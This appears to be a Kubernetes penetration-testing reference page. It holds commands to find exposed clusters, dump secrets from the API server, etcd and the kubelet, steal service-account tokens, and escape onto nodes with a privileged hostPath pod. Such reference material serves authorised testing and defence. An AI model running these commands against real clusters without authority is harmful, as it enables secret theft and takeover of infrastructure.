Kubernetes Penetration Testing
Category: Cloud / Infrastructure MITRE ATT&CK: T1552.007 — Container API; T1613 — Container and Resource Discovery Related: Cloud Penetration Testing, Reconnaissance, Network Scanning
Overview
Kubernetes (K8s) is the dominant container orchestration platform. Misconfigurations — unauthenticated API endpoints, exposed dashboards, insecure etcd, and anonymous kubelet access — allow attackers to enumerate workloads, steal secrets, pivot to underlying nodes, and escape to the cloud provider’s control plane.
Key Terminology
| Term | Description |
|---|---|
| Pod | Smallest K8s unit — a group of containers running together |
| Node | Host that runs pods; contains kubelet and kube-proxy |
| Kubelet | Node agent that manages pod lifecycle; communicates with API server |
| kube-proxy | Maintains network rules on each node |
| Cluster | Control plane node + set of worker nodes |
| etcd | Distributed key-value store holding all cluster state and secrets |
| kubectl | CLI tool for communicating with the API server |
| Namespace | Virtual cluster; scopes names for pods, services, deployments |
| kube-apiserver | Frontend for the cluster — all components talk through it |
Port Reference
| Port | Process | Notes |
|---|---|---|
| 443/TCP | kube-apiserver | Standard K8s API |
| 6443/TCP | kube-apiserver | Common alternative K8s API |
| 8080/TCP | kube-apiserver | Insecure API port — no auth |
| 8443/TCP | kube-apiserver | Minikube API port |
| 2379/TCP | etcd | etcd client API — contains all secrets |
| 6666/TCP | etcd | etcd (alternate) |
| 4194/TCP | cAdvisor | Container metrics (may expose pod info) |
| 10250/TCP | kubelet | HTTPS API — full node access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP — pods, node state |
| 10256/TCP | kube-proxy | Health check |
| 30000-32767/TCP | NodePort | Service proxy range |
| 44134/TCP | Tiller | Helm (legacy) service |
Reconnaissance
External Discovery
# Shodan/Censys search terms:
# kubernetesDashboard, kubernetes, k8s, openshift
# product:etcd, apiserver, services.kubernetes.kubernetes_dashboard_found
# Certificate transparency
# crt.sh: k8s.*.com
# GitHub YAML file hunting
# k8s.%.com site:github.com
# Nmap scan for K8s ports
nmap -sV -p 443,2379,6443,8080,8443,10250,10255 <target>
API Server Probing (Unauthenticated)
# Check for anonymous access / API enumeration
curl -k https://<IP>:6443/swaggerapi
curl -k https://<IP>:6443/healthz
curl -k https://<IP>:6443/api/v1
# Insecure HTTP API (8080) — no auth required
curl http://<IP>:8080/api/v1
curl http://<IP>:8080/api/v1/secrets
# Common unauthenticated API paths that may respond
/api
/api/v1
/apis
/apis/apps/v1
/apis/batch/v1
etcd Probing
# Direct etcd access (massive if unauthenticated — contains ALL secrets)
curl -k https://<IP>:2379
curl -k https://<IP>:2379/version
# Using etcdctl
etcdctl --endpoints=http://<CONTROL_PLANE_IP>:2379 get / --prefix --keys-only
# Kubernetes secrets in etcd (k8s stores them at this path)
etcdctl --endpoints=http://<IP>:2379 get /registry/secrets --prefix
Kubelet Probing
# Unauthenticated read-only port (10255)
curl http://<IP>:10255/pods # List all pods and their specs
curl http://<IP>:10255/metrics # Metrics data
# Authenticated kubelet API (10250) — if credentials obtained
curl -sk https://<IP>:10250/pods
curl -sk https://<IP>:10250/exec/<namespace>/<pod>/<container> \
-d "input=1&output=1&tty=1&command%5B%5D=id"
cAdvisor
# May expose container and process metrics
curl -k https://<IP>:4194/metrics
curl -k https://<IP>:4194/api/v1.3/containers/
kubectl Operations (with Credentials)
# Setup
kubectl cluster-info # Verify connectivity
kubectl version
# Enumeration
kubectl get pods -A # All pods across all namespaces
kubectl get secrets # List secrets (may be empty if RBAC restricts)
kubectl get secrets -o yaml # Dump secret contents
kubectl get services
kubectl get nodes
kubectl get namespaces
# Interesting targets
kubectl describe pod <name> # Environment vars, volume mounts, image
kubectl exec -it <pod> -- /bin/sh # Shell into a running pod
# Service account token (from inside a pod)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use stolen service account token
kubectl --token=<token> --server=https://<IP>:6443 get pods
Common Vulnerabilities
Unauthenticated API Server (Port 8080)
If the insecure port is open, no credentials are required:
curl http://<IP>:8080/api/v1/secrets?limit=500
Full cluster control — create privileged pods, steal secrets, access any resource.
Dashboard Exposure
Kubernetes Dashboard running without authentication → cluster admin. Also check Weave Scope and Lens.
Misconfigured RBAC
ClusterRoleBindinggivingcluster-admintosystem:unauthenticated- Service accounts with excessive permissions
- Namespace-scoped
adminthat can escalate via node access
Pod Escape to Node
From a privileged pod or via hostPath volume mounts:
# Privileged pod manifest for node escape
apiVersion: v1
kind: Pod
spec:
containers:
- name: pwned
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
# After deploying, chroot to host FS
kubectl exec -it pwned -- chroot /host bash
etcd Exposure
Unauthenticated etcd (port 2379) exposes all Kubernetes secrets in plaintext (base64 encoded values only). Extract service account tokens, TLS certificates, and application secrets.
Tools
kubectl— primary CLIkube-hunter— automated K8s vulnerability scannerkube-bench— CIS K8s benchmark checkerkubeaudit— RBAC and security auditTrivy— container image vulnerability scanningetcdctl— direct etcd access- Shodan/Censys — external K8s cluster discovery
References
- TrustedSec — “Kubernetes for Pentesters: Part 1” (2025-04-08)
- kubernetes.io official docs and glossary
- CIS Kubernetes Benchmark
